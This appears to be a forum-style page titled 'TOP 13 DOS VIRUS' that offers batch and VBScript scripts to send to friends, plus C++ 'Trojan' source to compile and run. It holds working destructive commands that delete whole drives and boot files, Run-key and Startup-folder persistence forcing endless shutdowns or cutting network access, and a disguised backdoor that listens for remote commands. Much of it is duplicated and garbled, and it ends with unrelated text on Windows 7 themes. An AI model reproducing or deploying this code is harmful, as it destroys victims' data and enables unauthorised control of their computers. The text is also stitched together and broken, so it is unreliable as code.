TOP 13 DOS VIRUS
ALL OF THEZE ARE TO BE TYPED IN NOTEPAD...
1) Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
Type :
Code:
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Save it as "Anything.VBS" and send it.
2) Convey your friend a little message and shut down his / her computer:
Type :
Code:
@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s
Save it as "Anything.BAT" in All Files and send it.
3) Toggle your friend's Caps Lock button simultaneously:
Code:
Set wshShell =wscript.CreateObject("WScript.Shel
l")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Save it as "Anything.VBS" and send it.
4) Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :
Code:
Set wshShell = wscript.CreateObject("WScript.Shell
")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Save it as "Anything.VBS" and send it.
5)This Virus Deletes All The Content Of A Drive...
@echo off
del %systemdrive%*.* /f /s /q
shutdown -r -f -t 00
Save The Above Code As Anything.bat
6)This Will Crash Ur Computer
Option Explicit
Dim WSHShell
Set WSHShell=Wscript.CreateObject("Wscript.Shell")
Dim x
For x = 1 to 100000000
WSHShell.Run "Tourstart.exe"
Next
Save It As Anything.vbs
It Only Works With Windows XP
7) The Most Simple Virus To Crush The Window
@Echo off
Del C: *.* |y
Save It As Anything.bat
8)Virus that crashes pc
@echo off
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini
@echo off
msg * YOU GOT OWNED!!!
shutdown -s -t 7 -c "A VIRUS IS TAKING OVER c:Drive
Save As Anything.bat File In Notepad!!
This Will Pop Up A Message Saying OWNED!!
And Shut Down The Computer Never To Reboot Again!
9) Shutdowns Computer Everytime It Is Turned On
Save As A bat File
echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v /t reg_sz /d c:windowshartlell.bat /f
echo You have been HACKED.
PAUSE
10 )Disable Internet Permanently
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE
Save As A bat File
11)Change Files To Non-working TXT Files
Save As A bat File
REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT
2) System Meltdown
:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH
ipconfig /release
shutdown -r -f -t0
echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v HAHAHA /t reg_sz /d c:windowshartlell.bat /f
echo You Have Been Hackedecho @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo YOU HAVE BEEN HACKED BITCH
REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT
PAUSE
PAUSE
Save As A bat File
13)Temporarily Flood Network
:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH
We can make a batch file which will Shutdown the computer everytime on startup !
Here is how ?
Open Notepad
Type :
@ECHO OFF
shutdown -s -t 10 -c "Virus Attack..."
exit
? File >> Save As...
? Name it : virus.bat
? Start >> All Programs
? Right Click on Startup >> Open
? This open the Startup folder
? Paste the Virus.bat file here !
*** That's all , now the computer will
automatically shutdown on every startup
Trojan Virus Source Code
TAKE IT +==> COMPILE +==>> RUN !
——————————-
#include
#include
#include
using namespace std;
#include
#include
using namespace std;
char Windir[MAX_PATH];
char Module[MAX_PATH];
char Module[MAX_PATH];
void Hide()
{
SetConsoleTitle(“Norton AntiVirus”);
hide = FindWindow(NULL, “Norton AntiVirus”);
ShowWindow(hide, 0);
}
{
SetConsoleTitle(“Norton AntiVirus”);
hide = FindWindow(NULL, “Norton AntiVirus”);
ShowWindow(hide, 0);
}
void GetPaths()
{
GetSystemDirectory(Windir, sizeof(Windir));
GetModuleFileName(0, Module, sizeof(Module));
strcat(Windir, “\\WindowsAPICalls.exe”);
}
{
GetSystemDirectory(Windir, sizeof(Windir));
GetModuleFileName(0, Module, sizeof(Module));
strcat(Windir, “\\WindowsAPICalls.exe”);
}
void Install()
{
CopyFile(Module,Windir,0);
{
CopyFile(Module,Windir,0);
HKEY Install;
RegOpenKey(HKEY_LOCAL_MACHINE,”Software\\Microsoft\\Windows\\CurrentVersion\\Run”, &Install);
RegSetValueEx(Install, “Windows API Calls”, 0, REG_SZ, (LPBYTE)Windir, sizeof(Windir));
RegCloseKey(Install);
}
RegOpenKey(HKEY_LOCAL_MACHINE,”Software\\Microsoft\\Windows\\CurrentVersion\\Run”, &Install);
RegSetValueEx(Install, “Windows API Calls”, 0, REG_SZ, (LPBYTE)Windir, sizeof(Windir));
RegCloseKey(Install);
}
int ServerInitialize()
{
WSADATA wsaData;
int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
if ( iResult != NO_ERROR )
{
WSACleanup();
system(Module);
return 0;
}
{
WSADATA wsaData;
int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
if ( iResult != NO_ERROR )
{
WSACleanup();
system(Module);
return 0;
}
else
{
cout << “Winsock initialized.” << “\n”;
}
{
cout << “Winsock initialized.” << “\n”;
}
Socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
if (Socket == INVALID_SOCKET )
{
WSACleanup();
system(Module);
return 0;
}
{
WSACleanup();
system(Module);
return 0;
}
else
{
cout << “Socket created.” << “\n”;
}
{
cout << “Socket created.” << “\n”;
}
sockaddr_in service;
service.sin_family = AF_INET;
service.sin_addr.s_addr = INADDR_ANY;
service.sin_port = htons(5432);
service.sin_family = AF_INET;
service.sin_addr.s_addr = INADDR_ANY;
service.sin_port = htons(5432);
if (bind(Socket, (SOCKADDR*) &service,sizeof(service)) == SOCKET_ERROR)
{
closesocket(Socket);
system(Module);
return 0;
}
{
closesocket(Socket);
system(Module);
return 0;
}
else
{
cout << “Socket bound successfully.” << “\n”;
}
if (listen( Socket, 1 ) == SOCKET_ERROR )
cout << “Error listening on socket.” << “\n”;
{
cout << “Socket bound successfully.” << “\n”;
}
if (listen( Socket, 1 ) == SOCKET_ERROR )
cout << “Error listening on socket.” << “\n”;
SOCKET AcceptSocket;
cout << “Waiting for a client to connect…” << “\n”;
AcceptSocket = SOCKET_ERROR;
while (AcceptSocket == SOCKET_ERROR )
{
AcceptSocket = accept(Socket, NULL, NULL );
}
cout << “Client Connected.”<< “\n”;
Socket = AcceptSocket;
}
AcceptSocket = SOCKET_ERROR;
while (AcceptSocket == SOCKET_ERROR )
{
AcceptSocket = accept(Socket, NULL, NULL );
}
cout << “Client Connected.”<< “\n”;
Socket = AcceptSocket;
}
void Shutdown()
{
char Message[MAX_PATH]=”Your computer is infected with a malicious virus!”;
InitiateSystemShutdown(NULL,Message,sizeof(Message),true,false);
}
{
char Message[MAX_PATH]=”Your computer is infected with a malicious virus!”;
InitiateSystemShutdown(NULL,Message,sizeof(Message),true,false);
}
void OpenCloseCDTray()
{
mciSendString(“set cdaudio door open”, 0, 0, 0);
mciSendString(“set cdaudio door open”, 0, 0, 0);
}
{
mciSendString(“set cdaudio door open”, 0, 0, 0);
mciSendString(“set cdaudio door open”, 0, 0, 0);
}
void Bomb()
{
HWND hwnd;
char Notepad[MAX_PATH]=”notepad.exe”;
for(;;)
{
ShellExecute(hwnd,”open”,Notepad,NULL,NULL,SW_MAXIMIZE);
}
}
{
HWND hwnd;
char Notepad[MAX_PATH]=”notepad.exe”;
for(;;)
{
ShellExecute(hwnd,”open”,Notepad,NULL,NULL,SW_MAXIMIZE);
}
}
void LeftMouse()
{
SwapMouseButton(true);
}
{
SwapMouseButton(true);
}
void RightMouse()
{
SwapMouseButton(false);
}
{
SwapMouseButton(false);
}
void Receive()
{
for(;;)
{
char Choice[MAX_PATH]=”";
cout << “Waiting for commands, sir!” << “\n”;
recv(Socket, Choice, sizeof(Choice), 0);
cout << Choice << “\n”;
if (!strcmp(Choice,”1″))
{
LeftMouse();
const char c_LeftMouse[MAX_PATH]={“Mouse changed; left.”};
send(Socket,c_LeftMouse, sizeof(c_LeftMouse),0);
}
if (!strcmp(Choice,”2″))
{
RightMouse();
const char c_RightMouse[MAX_PATH]={“Mouse changed; right.”};
send(Socket,c_RightMouse, sizeof(c_RightMouse),0);
}
if (!strcmp(Choice,”3″))
{
OpenCloseCDTray();
const char c_CDTray[MAX_PATH]={“CD Tray opened. Closed if not on a laptop.”};
send(Socket,c_CDTray, sizeof(c_CDTray),0);
}
if (!strcmp(Choice,”4″))
{
Shutdown();
const char c_Shutdown[MAX_PATH]={“Shutdown initiated.”};
send(Socket,c_Shutdown, sizeof(c_Shutdown),0);
}
}
}
{
for(;;)
{
char Choice[MAX_PATH]=”";
cout << “Waiting for commands, sir!” << “\n”;
recv(Socket, Choice, sizeof(Choice), 0);
cout << Choice << “\n”;
if (!strcmp(Choice,”1″))
{
LeftMouse();
const char c_LeftMouse[MAX_PATH]={“Mouse changed; left.”};
send(Socket,c_LeftMouse, sizeof(c_LeftMouse),0);
}
if (!strcmp(Choice,”2″))
{
RightMouse();
const char c_RightMouse[MAX_PATH]={“Mouse changed; right.”};
send(Socket,c_RightMouse, sizeof(c_RightMouse),0);
}
if (!strcmp(Choice,”3″))
{
OpenCloseCDTray();
const char c_CDTray[MAX_PATH]={“CD Tray opened. Closed if not on a laptop.”};
send(Socket,c_CDTray, sizeof(c_CDTray),0);
}
if (!strcmp(Choice,”4″))
{
Shutdown();
const char c_Shutdown[MAX_PATH]={“Shutdown initiated.”};
send(Socket,c_Shutdown, sizeof(c_Shutdown),0);
}
}
}
int main()
{
Hide();
GetPaths();
if(!strcmp(Windir,Module))
{
ServerInitialize();
Receive();
}
else
{
Install();
ServerInitialize();
Receive();
}
return 0;
}
{
Hide();
GetPaths();
if(!strcmp(Windir,Module))
{
ServerInitialize();
Receive();
}
else
{
Install();
ServerInitialize();
Receive();
}
return 0;
}
Warning:- Don't Run On your Personal Computer.
okay the code i m giving is of dos, so save it with an extension of .bat copy dis code and save it as a batch file
1)
----------------------------------------
@echo off
copy %0 "%userprofile%\Start Menu\Programs\Startup\"
cls
:start
c:\windows\system32\shutdown.exe /s /t 60 /c "hi buddy"
ping 1 -n 7 -w 200 >nul
c:\windows\system32\shutdown.exe /a
c:\windows\system32\shutdown.exe /s /t 60 /c "i came here to say u hi"
ping 1 -n 7 -w 200 >nul
c:\windows\system32\shutdown.exe /a
c:\windows\system32\shutdown.exe /s /t 60 /c "r u eating now"
ping 1 -n 7 -w 200 >nul
c:\windows\system32\shutdown.exe /a
c:\windows\system32\shutdown.exe /s /t 60 /c "y r u not eating"
ping 1 -n 7 -w 200 >nul
c:\windows\system32\shutdown.exe /a
goto start
---------------------------------------------------------------------------------------------------
2)
to make it even more irritating
copy these 3 lines
c:\windows\system32\shutdown.exe /s /t 60 /c "hi buddy"
ping 1 -n 7 -w 200 >nul
c:\windows\system32\shutdown.exe /a
and paste it before goto 40-50 times
and goto the first line every time which is
c:\windows\system32\shutdown.exe /s /t 300 /c "hi buddy"
and replace hi buddy with what ever u want to write
please write some irritating things only over their
you will have to replace hi buddy everywhere ,wherever you have pasted the above 3 lines
this program will run itself automatically whenever computer starts
if one gets irritated and he closes this program
then after 1 minute his computer will also shutdownso run dis program in your friends' computer
and enjoy watching them get irritated
it will pop up msgbox one after the other continuously
with the text whatever you write replacing hi buddy
one after the other msgbox will keep appearing
and this process will continue endlessly
so its for sure one will get irritated at last
and he will close this program
after closing this program his computer will also shutdown
his computer will shutdown after 1 min
1)
----------------------------------------
@echo off
copy %0 "%userprofile%\Start Menu\Programs\Startup\"
cls
:start
c:\windows\system32\shutdown.exe /s /t 60 /c "hi buddy"
ping 1 -n 7 -w 200 >nul
c:\windows\system32\shutdown.exe /a
c:\windows\system32\shutdown.exe /s /t 60 /c "i came here to say u hi"
ping 1 -n 7 -w 200 >nul
c:\windows\system32\shutdown.exe /a
c:\windows\system32\shutdown.exe /s /t 60 /c "r u eating now"
ping 1 -n 7 -w 200 >nul
c:\windows\system32\shutdown.exe /a
c:\windows\system32\shutdown.exe /s /t 60 /c "y r u not eating"
ping 1 -n 7 -w 200 >nul
c:\windows\system32\shutdown.exe /a
goto start
---------------------------------------------------------------------------------------------------
2)
to make it even more irritating
copy these 3 lines
c:\windows\system32\shutdown.exe /s /t 60 /c "hi buddy"
ping 1 -n 7 -w 200 >nul
c:\windows\system32\shutdown.exe /a
and paste it before goto 40-50 times
and goto the first line every time which is
c:\windows\system32\shutdown.exe /s /t 300 /c "hi buddy"
and replace hi buddy with what ever u want to write
please write some irritating things only over their
you will have to replace hi buddy everywhere ,wherever you have pasted the above 3 lines
this program will run itself automatically whenever computer starts
if one gets irritated and he closes this program
then after 1 minute his computer will also shutdownso run dis program in your friends' computer
and enjoy watching them get irritated
it will pop up msgbox one after the other continuously
with the text whatever you write replacing hi buddy
one after the other msgbox will keep appearing
and this process will continue endlessly
so its for sure one will get irritated at last
and he will close this program
after closing this program his computer will also shutdown
his computer will shutdown after 1 min
Windows 7 offers a good assortment of themes to customize the feel
as well as the look of your computer. Windows 7 features particular themes
which are based on the location and the language you select while you install
the Windows 7. You can look for the location-specific theme in the Personalize menu. You just have to right-click at
any place upon your computer desktop. You will be able to get the couple of
themes according to your location.
Other than the location specific
themes which you get by default, you can access hidden themes in Windows 7
which are offered to other regions. So the default themes which you get according
to your region are not the only themes you can use. It is possible to access
hidden themes in Windows 7 very easily in your system. This is what you have to
do:
Click start
In the search box
of the Start menu, type
C:\Windows\Globalization\MCT.
Your
Windows Explorer will show you a window with additional themes. These will be
from Great Britain, South Africa, Australia and Canada.
You have
the option to select the wallpaper only or you can install the whole theme if
you want.
You will
be able to install the entire brand-new theme by double clicking on the
required file.
The new
theme you add will show under “My Themes” within the “Personalization” pane.
You
can also download many themes for Windows 7 from different website including
the Microsoft official website. But you should first try to customize and
access hidden themes in Windows 7 as you might not feel the need to download
additional themes from elsewhere after that..
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